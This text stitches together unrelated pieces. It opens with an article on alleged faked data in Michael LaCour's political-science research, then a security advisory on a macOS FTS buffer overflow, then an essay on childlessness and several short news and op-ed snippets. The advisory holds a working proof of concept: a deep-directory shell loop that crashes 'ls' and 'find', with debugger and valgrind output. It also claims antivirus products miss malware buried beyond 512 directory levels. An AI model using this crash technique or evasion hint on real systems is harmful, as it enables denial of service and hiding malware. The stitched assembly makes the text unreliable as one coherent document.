(1/2) I read “Irregularities in LaCour (2014),” posted at http://t.co/SJ3jE89XeD on May 19, 2015 by Broockman et al. I’m gathering evidence — Michael J. LaCour (@UCLaCour) May 20, 2015
(2/2) and relevant information so I can provide a single comprehensive response. I will do so at my earliest opportunity. — Michael J. LaCour (@UCLaCour) May 20, 2015
But LaCour is learning the hard way that one allegation of faked findings only invites further scrutiny. Yesterday, Tim Groseclose at Ricochet detailed evidence that he believes shows other instances of faked data in LaCour’s work.
Groseclose examined two papers, one published in the Journal of Political Communication and one unpublished working paper that was presented at the most recent Midwest Political Science Association conference. While Groseclose believes that the research behind the peer-reviewed work is sound, he documents a number of irregularities in the working paper that lead him to believe that the data are pulled out of thin air.
The paper in question examines the “news diet” of voters and concludes that, contrary to conventional wisdom, voters don’t live in echo chambers; LaCour claims to show that our “news diet” is, for the most part, balanced.
Depending on which research you rely on, there’s support for some version of this conclusion. However, as Groseclose outlines, LaCour’s path to results he claims to have found is checkered at best.
LaCour’s paper relies on a method of measuring ideology in the media that he appears to not understand. The method, previously developed by economists Matthew Gentzkow and Jesse Shapiro, constructs a list of “loaded phrases” (like “death tax” or “amnesty”) and measures how often such phrases are used in congressional speeches and news outlets. By comparing frequencies, one can then make statements like “The New York Times is approximately as liberal as a speech by Sen. Joe Lieberman” with some degree of empirical confidence. As Groseclose notes, this method was itself inspired by a method that he had formulated previously — a method that Gentzkow and Shapiro give him credit for.
In LaCour’s paper, however, the method appears to have been tweaked manually, leading Groseclose to write: “I do not believe he actually wrote the code that would be necessary to execute his method and, accordingly, I don’t believe that he really computed the estimates that he reports from his method.”
Perhaps the simplest reason to believe that this is the case is that there doesn’t appear to be any rhyme or reason to LaCour’s confidence intervals. Basic statistical theory dictates that the larger your sample, the smaller your confidence interval should be. However, in LaCour’s work, this is not the case; the news shows with smaller sample sizes have smaller confidence intervals than shows with larger ones. One would expect anomalies like this to have a plausible explanation in the methods section, but, by Groseclose’s estimate, “approximately 90% of the first two pages [of the methods section] is a word-for-word copying of sentences from Gentzkow and Shapiro’s article;” not a sin in and of itself if the paper states that it relies on Gentzkow and Shapiro’s work, but also no help when it comes to explaining the anomalous results.
As Groseclose also notes, LaCour appears to have a loose understanding of the statistical principles he cites, mistranscribing terms like “Chi-squared” with an “x” instead of the Greek letter. Again, this isn’t incriminating in and of itself, but it does suggest a lack of understanding of the work LaCour is claiming a working knowledge of. As Groseclose writes: “If a researcher is not really familiar with the Chi-Squared distribution, I don’t see how he or she could fully understand the Gentzkow-Shapiro method. And if LaCour does not fully understand the Gentzkow-Shapiro method, I do not see how he could have executed the method that he describes in his paper.”
Groseclose goes on to outline other suspect elements of LaCour’s work, including the lists of loaded phrases used by liberals and conservatives bearing highly unlikely levels of consistency over the three-year period LaCour observes.
Also of note, LaCour’s method labels the Thom Hartmann show as having a conservative bent which couldn’t be farther from the truth. Groseclose discusses what this anomalous result means, and speculates as to why LaCour declined to discuss it in his paper, but at the end of the day it’s either a sign of methodological error or imputation.
As Groseclose notes, the simplest way to prevent issues like these in the future is for academics to provide the data and code they used to produce their results — something LaCour has yet to do. If their data weren’t faked, the output should be the same on someone else’s computer. As political science has become increasingly technical over the years, with the mathematical models becoming more and more complex, Groseclose speculates that if the major political journals were to institute this requirement they would find that a significant number of the papers submitted for publication — and many that have already been published — would not pass muster, as they rely on methodologies that the papers’ authors don’t understand and, therefore, cannot use effectively.
What’s a shame in all of this is that LaCour’s faked LGBT canvassing study is going to be used as evidence against the LGBT movement — and the field of political science — for years to come, when in fact the finding that LaCour made his research up is an example of the field working as intended: No matter how groundbreaking your research is, it doesn’t mean anything if no one can replicate it. The scientific community polices itself by not taking the work of others for granted, and researchers should always conduct their work under the assumption that whatever they publish will be tested elsewhere.
CVSS Base Score: 6.8/10 Impact Subscore: 6.4/10 Exploitability Subscore: 8.6/10 Exploit range: Remote Attack complexity: Medium Authentication: No required Confidentiality impact: Partial Integrity impact: Partial Availability impact: Partial MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow Credit: Maksymilian Arciemowicz ( CXSECURITY ) Website: http://cxsecurity.com/ http://cert.cx/ Affected software: - MACOS's Commands such as: ls, find, rm - iPhone 4s and later, - Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch Hermes - Apple TV (4th generation) - probably more Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting. PoC: Create an direcotry and perform the following actions: # for i in {1..1024}; do mkdir B && cd B; done ... cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g. # for i in {1..1024}; do cd .. ; done Then you can perform recursive 'ls' command. Let's run it ten times: # for i in {1..10}; do ls -laR > /dev/null; done ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory ls: B: No such file or directory Segmentation fault: 11 Segmentation fault: 11 Segmentation fault: 11 ls: B: No such file or directory ls: B: No such file or directory Segmentation fault: 11 ls: B: No such file or directory ls: B: No such file or directory crash randometly. Let's see valgrind and lldb LLDB: ... /B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: total 0 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ./B/B/B/B/B/B/B/B/..../B/B: Process 987 stopped * thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 libsystem_c.dylib`strlen: -> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0 0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi 0x7fff97ab6d3a <+26>: andq $0xf, %rcx 0x7fff97ab6d3e <+30>: orq $-0x1, %rax (lldb) x/x $rdi error: memory read failed for 0xfeb66c00 (lldb) register read General Purpose Registers: rax = 0x00000000ffffffff rbx = 0x00000000ffffffff rcx = 0x00000000feb66c08 rdx = 0x00000000feb66c08 rdi = 0x00000000feb66c00 rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742 rbp = 0x00007fff5fbfe710 rsp = 0x00007fff5fbfe710 ... rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 ... (lldb) bt * thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00) * frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18 frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713 frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669 frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596 frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80 frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128 frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$$ls + 1564 frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$$ls + 421 frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$$ls + 2300 frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1 === Time for Valgrind ============= B/B/B/B/B/../B: total 0 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: total 0 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 . drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .. drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7 drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8 ==1009== Invalid write of size 1 ==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100001DAD: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== by 0x104809C8D: ??? ==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd ==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100001B92: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== by 0x104809C8D: ??? ==1009== ./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B: ==1009== Invalid read of size 1 ==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x1000024A7: ??? (in /bin/ls) ==1009== by 0x100001CFC: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd ==1009== ==1009== ==1009== Process terminating with default action of signal 11 (SIGSEGV) ==1009== Access not within mapped region at address 0x102D20318 ==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib) ==1009== by 0x1000024A7: ??? (in /bin/ls) ==1009== by 0x100001CFC: ??? (in /bin/ls) ==1009== by 0x100001A6F: ??? (in /bin/ls) ==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib) ==1009== by 0x1: ??? ==1009== by 0x104809C8A: ??? ==1009== If you believe this happened as a result of a stack ==1009== overflow in your program's main thread (unlikely but ==1009== possible), you can try to increase the size of the ==1009== main thread stack using the --main-stacksize= flag. ==1009== The main thread stack size used in this run was 8388608. ==1009== ==1009== HEAP SUMMARY: ==1009== in use at exit: 1,671,999 bytes in 6,025 blocks ==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated ==1009== ==1009== LEAK SUMMARY: ==1009== definitely lost: 519 bytes in 6 blocks ==1009== indirectly lost: 104 bytes in 6 blocks ==1009== possibly lost: 0 bytes in 0 blocks ==1009== still reachable: 1,645,151 bytes in 5,819 blocks ==1009== suppressed: 26,225 bytes in 194 blocks ==1009== Rerun with --leak-check=full to see details of leaked memory ==1009== ==1009== For counts of detected and suppressed errors, rerun with: -v ==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) Segmentation fault: 11 MacMini:SCANME cxsecurity$ It looks like a buffer overflow in memmove(). Code http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c The same issue for 'find' which may be used in cron scripts like ./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print ./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print ./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days ./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1; Let's see valgrind output. MacMini:SCANME cxsecurity$ valgrind find . -name "R" ==1055== Memcheck, a memory error detector ==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==1055== Command: find . -name R ==1055== find: ./.Trashes: Permission denied ==1055== Invalid write of size 2 ==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) ==1055== by 0x1000013FA: ??? (in /usr/bin/find) ==1055== by 0x1000052AD: ??? (in /usr/bin/find) ==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib) ==1055== by 0x3: ??? ==1055== by 0x10480CC7F: ??? ==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd ==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so) ==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib) ==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib) ==1055== by 0x1000013FA: ??? (in /usr/bin/find) ==1055== by 0x1000052AD: ??? (in /usr/bin/find) ==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib) ==1055== by 0x3: ??? ==1055== by 0x10480CC7F: ??? ... Invalid memory write without crashing. BTW: Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc. ====== References =================================== https://cxsecurity.com/issue/WLB-2014040027 https://cxsecurity.com/cveshow/CVE-2014-4433/ https://cxsecurity.com/cveshow/CVE-2014-4434/ https://cxsecurity.com/issue/WLB-2013110059 https://cxsecurity.com/cveshow/CVE-2013-6799/ https://cxsecurity.com/issue/WLB-2010040284 https://cxsecurity.com/cveshow/CVE-2010-0105/ https://cxsecurity.com/issue/WLB-2005090063 ====== Thanks =================================== Kacper and Smash_ from DEVILTEAM for technical support. ====== Credit =================================== Maksymilian Arciemowicz from cxsecurity.com http://cxsecurity.com/ http://cert.cx/ http://cifrex.org/ References: https://cxsecurity.com/issue/WLB-2014040027 https://cxsecurity.com/cveshow/CVE-2014-4433/ https://cxsecurity.com/cveshow/CVE-2014-4434/ https://cxsecurity.com/issue/WLB-2013110059 https://cxsecurity.com/cveshow/CVE-2013-6799/ https://cxsecurity.com/issue/WLB-2010040284 https://cxsecurity.com/cveshow/CVE-2010-0105/ https://cxsecurity.com/issue/WLB-2005090063
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It’s one I used to find uncomfortable, but now I’m nearly 40, I love answering: “My husband and I couldn’t have them. No, please don’t be sorry! We’re having the time of our lives, instead.”
I recognised similar contentment radiating from Kim Cattrall, who used her stint as guest editor of Woman’s Hour to dispel the myth of the miserable childless woman.
She seemed to take most offence at the word itself: “the ‘less’ in childless,” she argued, “sounds like you’re ‘less’ [of a woman] because you haven’t got a child.”
This was the only point where we differed: as the founder of a website (nonparents.com) for those who haven’t had children - whether by choice or by chance - I’ve heard this argument many times before, but it’s not one I share. For me, childless is simply a word that describes an aspect of my life; it by no means defines who I am.
For all those roundly applauding Kim for tackling the issue, whatever you call it, there were a few dispirited that she spent much of her 60 minute slot discussing (or defending) her decision not to have children in the first place.
It sounds like you’re ‘less’ because you haven’t got a child. Kim Cattrall
It’s a fair point. How often do we expect men to account for not becoming fathers? You only have to compare the very public tick-tocking of Jennifer Aniston’s biological clock with the scant mention of George Clooney’s to see this blatant double standard in action. Jane Garvey, in conversation with Kim, admitted it makes her shy away from the issue altogether in interviews.
But it’s a conversation that’s not going anywhere for women soon - and one we need to get as good as Kim at having, if we want to challenge the narrative that being childless means being unfulfilled. I am not just childless, but happily so, and have come too far in my journey to let a word come in the way of the peace that I feel inside.
Photo: PA
It didn’t start out as a choice: my husband Robert, 48, who works in the City, and I met in 2000, married a year later and decided to start a family three years after that. I was 29, he 38 and with no history of infertility on either side, we assumed that conceiving would be very straightforward, but after trying naturally for three years, we had to seek professional help.
That’s when we discovered that he was infertile: a very rare medical condition called azoospermia, which affects about one per cent of men, meaning they are unable to produce sperm. In some cases, it can be collected through surgery, but this route proved fruitless for us, too.
Still, I clung to the thought that if other people had miracle babies, why shouldn’t I? It took five heartbreaking years of failed attempts at IVF and artificial insemination with donor sperm before I decided, in 2013, that enough was enough.
Photo: Alamy
My husband would have given up long before then, if he had his way, but he was willing to do whatever made me happy. I had bought into the idea that only having a family would do so. I finally realised that continuing to chase a dream would put at risk the marriage that already did.
I'm not just childless - but happily so Nina Steele
Many mothers describe their children as blessings: mine come in a different form - after 15 years, my husband and I are happier than ever, secure in the knowledge we’re staying together for the sake of no one but ourselves.
I read an article in this very paper recently, in which the author compared her life to that of her friend, a mother-of-three, and claimed that hers was “poorer for its childlessness” - forgetting true happiness isn’t relative, only increasing or diminishing in comparison to anyone else’s.
We musn’t make the mistake of assuming that having children can only bring joy, either, when the opposite can also be true. Last year, on my way to the old people’s charity in Kingston, where I work, I came across a huge crowd gathered in front of a very expensive looking house, guarded by two policemen. I later found out it belonged to Tania Clarence, a mother who smothered her three severely disabled children, after reaching breaking point.
No one embarking on the path to parenthood would ever expect it to end here. But this is my point: who can control how their path will unfold?
I didn’t change nappies, which is okay with me, but I did help my niece get through medical school. Kim Cattrall
We live in a world in which parenthood is fetishised as the pinnacle - the very meaning - of life, and the only true route to happiness. And although I understand the impulse to procreate, I nodded just as fiercely as Kim explained, “I didn’t change nappies, which is okay with me, but I did help my niece get through medical school.”
As an aunt to 11 nephews and nieces (and counting) I can attest that there are many times when you can provide something - whether material or immaterial - that their parents can’t.
I have seen, first-hand, in my work with elderly people that having children is no insurance against loneliness in old age - and I know, from all the children I love in my life, that you don't need to have one of your own to be able to mother others.
FOX News reports:
Duke offers men a ‘safe space’ to contemplate their ‘toxic masculinity’
Duke University is famous for its science and engineering programs, as well as its dominance in college basketball.
Now, it may also become known as a great place for men to gather and contemplate why they’re such horrible people.
The Duke Men’s Project, launched this month and hosted by the campus Women’s Center, offers a nine-week program for “male-identified” students that discusses male privilege, patriarchy, “the language of dominance,” rape culture, pornography, machismo and other topics.
CAIRO (Sputnik) – According to the statement, the issue was discussed by Egypt’s Minister of Industry and Trade Tarek Kabil and his Russian counterpart, Denis Manturov, at a meeting in the United Arab Emirates.
“Egypt is interested to meet the needs of the Russian market in goods, especially those that came from Turkey, in light of Russia's decision to limit the Turkish imports to the Russian market in fruit and vegetables to 66 percent, as well as in clothing and leather," the statement said.
Relations between Russia and Turkey escalated after the downing of a Russian Su-24 Fence in Syrian airspace by the Turkish Air Force on Tuesday.
Unlike parental leave, which is available to both parents and maximizes freedom of choice, this benefit would be available only to fathers and is consciously paternalistic in its aims. This doesn’t make it the wrong policy choice. Indeed, all evidence suggests it’s a necessary one.
For some time now, the law has protected mothers and fathers who take time off work to care for a new child. All parents are legally entitled to unpaid, job-protected leave. And under EI, all eligible parents are entitled to 35 weeks of income support while caring for a new baby. This benefit, known as parental leave, is capped at 55 per cent of the leave-taker’s full-employment salary and is fully transferable between parents: a mother or father can be its sole recipient, or a mother and father can divide the 35 weeks between themselves.
Our parental leave laws would seem, then, to be optimally designed. They are gender neutral and allow parents to choose how to allocate their time between childrearing and work. But in practice, there’s a problem: mothers overwhelmingly take all the leave, accounting for 86 per cent of parental leave claims in 2009.
This wouldn’t be a problem if parents made this decision free of external pressures. But I strongly suspect this isn’t the case, as it is not obvious why fathers should be any less interested in bonding with their babies, or why working mothers should be any less keen to return to their careers than their partners.
There are likely a host of factors influencing parents’ decision to have the mothers take all the leave. One is financial. In households with a primary breadwinner, couples face a financial incentive for the lower earner to forgo his or her full salary during the leave. Men remain the primary breadwinners in a majority of households.
Another factor is cultural. Many workplaces continue to frown on fathers taking lengthy amounts of time off after having a baby. As some of my male friends have explained, doing so would be a career-limiting, if not career-destroying, move.
And there are also sociological factors at play. A breastfeeding mother is the indispensable caregiver in the earliest months, which can cause parenting patterns to set in that become difficult to disrupt. The parent who first learns what each variation of a child’s cry means becomes the logical choice to respond to the baby’s needs.
Yet, as much as these factors may seem inevitable, the evidence suggests they’re not.
Sweden, Norway and Germany have nudged fathers into taking leave by offering “equality bonuses” to leave-sharing couples and creating paternity quotas. Quebec, which began delivering parental benefits under its Quebec Parental Insurance Plan (QPIP) in 2006, also has a five-week daddy quota and has increased the maximum income replacement rate from 55 to 70 per cent of a leave-taker’s salary.
These policies have paid off: the number of fathers taking leave has risen from negligible levels to respectable ones. In Quebec, 76 per cent of fathers now take leave for an average time of 5.5 weeks. In the rest of Canada, it’s about 25 per cent for 1.7 weeks.
These policies also affect long-term household dynamics. Fathers who took leave under QPIP devoted 23 per cent more time to household work than fathers covered under EI. Quebec mothers spent more time in the workplace and less time on housework, but a consistent amount of time on child care.
The cost of paternity leave would depend on its design. If it supplemented the existing parental leave benefit, it would be costly. But if the weeks allotted to a paternity quota were deducted from the 35-week parental leave allocation, it need not be (special rules would be required for single-income families and LGBT parents).
As well, for the policy to be effective, a more generous income replacement rate may be necessary. To control the cost, Canada could emulate Quebec’s approach and allow workers to choose between receiving lower benefits over a longer period, or higher income support over a shorter period.
To the extent paternity leave did raise EI costs, the government could mandate higher EI premiums or contribute some amount to EI from general tax revenues, as it used to do. Society benefits from high female labour force participation and strong parenting, so there may be a case for socializing the cost of a more generous EI program across taxpayers.
We should dare to dream of a society in which child care is shared equally by parents. We just may be able to create it.
National Post
By Ed O'Keefe
The White House "strongly opposes" a Republican-backed bill to stop federal funding of presidential campaigns and political conventions -- a public offering President Obama declined during his 2008 campaign. Despite that, the White House believes the public financing system should "be fixed rather than dismantled," it said Tuesday.
In a sharply-worded assessment of proposed legislation, the Office of Management and Budget said the GOP bill would kill public financing of presidential elections and expand the influence of private corporations and special-interest groups.
